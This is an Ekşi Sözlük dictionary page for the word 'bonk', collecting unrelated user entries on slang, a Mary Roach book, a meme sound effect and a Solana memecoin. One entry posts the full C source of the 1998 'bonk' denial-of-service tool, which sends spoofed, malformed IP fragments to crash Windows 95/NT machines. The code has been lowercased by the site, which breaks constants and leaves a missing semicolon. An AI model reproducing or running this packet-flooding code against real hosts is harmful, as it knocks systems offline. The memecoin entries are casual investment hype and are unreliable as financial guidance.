bonk
-
havalı olcam diye kullanmaya kalkmayın çok fena dalga geçerler, madara olursunuz....
-
-
teardrop dos saldirisinin biraz daha gelismisini yapan bir dos çesidi. (frag offset'i header length'den daha büyük gönderme üzerine çalisiyor...) kaynak kodunu da yazayim tam olsun.
/*
==bendi - 1998==
bonk.c - 5/01/1998
based on: teardrop.c by route|daemon9 & klepto
crashes *patched* win95/(nt?) machines.
basically, we set the frag offset > header length (teardrop
reversed). there are many theories as to why this works,
however i do not have the resources to perform extensive testing.
i make no warranties. use this code at your own risk.
rip it if you like, i've had my fun.
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
/*#include <netinet/protocols.h>*/
#include <arpa/inet.h>
#define frg_const 0x3
#define padding 0x1c
#define ip_udp
struct udp_pkt
{
struct iphdr ip;
struct udphdr udp;
char data[padding];
} pkt;
int udplen=sizeof(struct udphdr),
iplen=sizeof(struct iphdr),
datalen=100,
psize=sizeof(struct udphdr)+sizeof(struct iphdr)+padding,
spf_sck; /* socket */
void usage(void)
{
fprintf(stderr, "usage: ./bonk <src_addr> <dst_addr> [num]\n");
exit(0);
}
u_long host_to_ip(char *host_name)
{
static u_long ip_bytes;
struct hostent *res;
res = gethostbyname(host_name);
if (res == null)
return (0);
memcpy(&ip_bytes, res->h_addr, res->h_length);
return (ip_bytes);
}
void quit(char *reason)
{
perror(reason);
close(spf_sck);
exit(-1);
}
int fondle(int sck, u_long src_addr, u_long dst_addr, int src_prt,
int dst_prt)
{
int bs;
struct sockaddr_in to;
memset(&pkt, 0, psize);
/* fill in ip header */
pkt.ip.version = 4;
pkt.ip.ihl = 5;
pkt.ip.tot_len = htons(udplen + iplen + padding);
pkt.ip.id = htons(0x455);
pkt.ip.ttl = 255;
pkt.ip.protocol = ip_udp
pkt.ip.saddr = src_addr;
pkt.ip.daddr = dst_addr;
pkt.ip.frag_off = htons(0x2000); /* more to come */
pkt.udp.source = htons(src_prt); /* udp header */
pkt.udp.dest = htons(dst_prt);
pkt.udp.len = htons(8 + padding);
/* send 1st frag */
to.sin_family = af_inet;
to.sin_port = src_prt;
to.sin_addr.s_addr = dst_addr;
bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
sizeof(struct sockaddr));
pkt.ip.frag_off = htons(frg_const + 1); /* shinanigan */
pkt.ip.tot_len = htons(iplen + frg_const);
/* 2nd frag */
bs = sendto(sck, &pkt, iplen + frg_const + 1, 0,
(struct sockaddr *) &to, sizeof(struct sockaddr));
return bs;
}
void main(int argc, char *argv[])
{
u_long src_addr,
dst_addr;
int i,
src_prt=53,
dst_prt=53,
bs = 1,
pkt_count = 10; /* default amount */
if (argc < 3)
usage();
if (argc == 4)
pkt_count = atoi(argv[3]); /* 10 does the trick */
/* resolve hostnames */
src_addr = host_to_ip(argv[1]);
if (!src_addr)
quit("bad source host");
dst_addr = host_to_ip(argv[2]);
if (!dst_addr)
quit("bad target host");
spf_sck = socket(af_inet, sock_raw, ipproto_raw);
if (!spf_sck)
quit("socket()");
if (setsockopt(spf_sck, ipproto_ip, ip_hdrincl, (char *) &bs,
sizeof(bs)) < 0)
quit("ip_hdrincl");
for (i = 0; i < pkt_count; ++i)
{
fondle(spf_sck, src_addr, dst_addr, src_prt, dst_prt);
usleep(10000);
}
printf("done.\n");
} -
ing. (argo) sikmek
-
mary roach isimli araştırmacının
tarih boyunca yapılan
seks araştırmalarını
konu edindiği kitabı.
kitapta tabii ki osmanlılar
ve cinsel haz üzerine
kafa yoran, düşünen
bütün uygarlıklar mevcut.
türkçe'ye çevrileceği
günü bekliyoruz. -
ing. sikişmek
o_0 -
ing. (bisiklet) (bkz: duvara çarpmak)
-
go to horny jail resmi ile ünlenmiş kafaya sert cisimle vurma ses efekti.
-
solana ağında yeni bir memecoin.
shiba’ya görece erken girenlerdenim. shiba’dan nasıl haberdar oldumsa aynı aşamaları bunda da gördüğüm için bi küçüklük attım.
wen lambo? -
sol ağının yeni yıldızı. bakalım abileri doge ve shiba gibi yürüyecek mi göreceğiz.
ekşi sözlük kullanıcılarıyla mesajlaşmak ve yazdıkları entry'leri
takip etmek için giriş yapmalısın.
hesabın var mı? giriş yap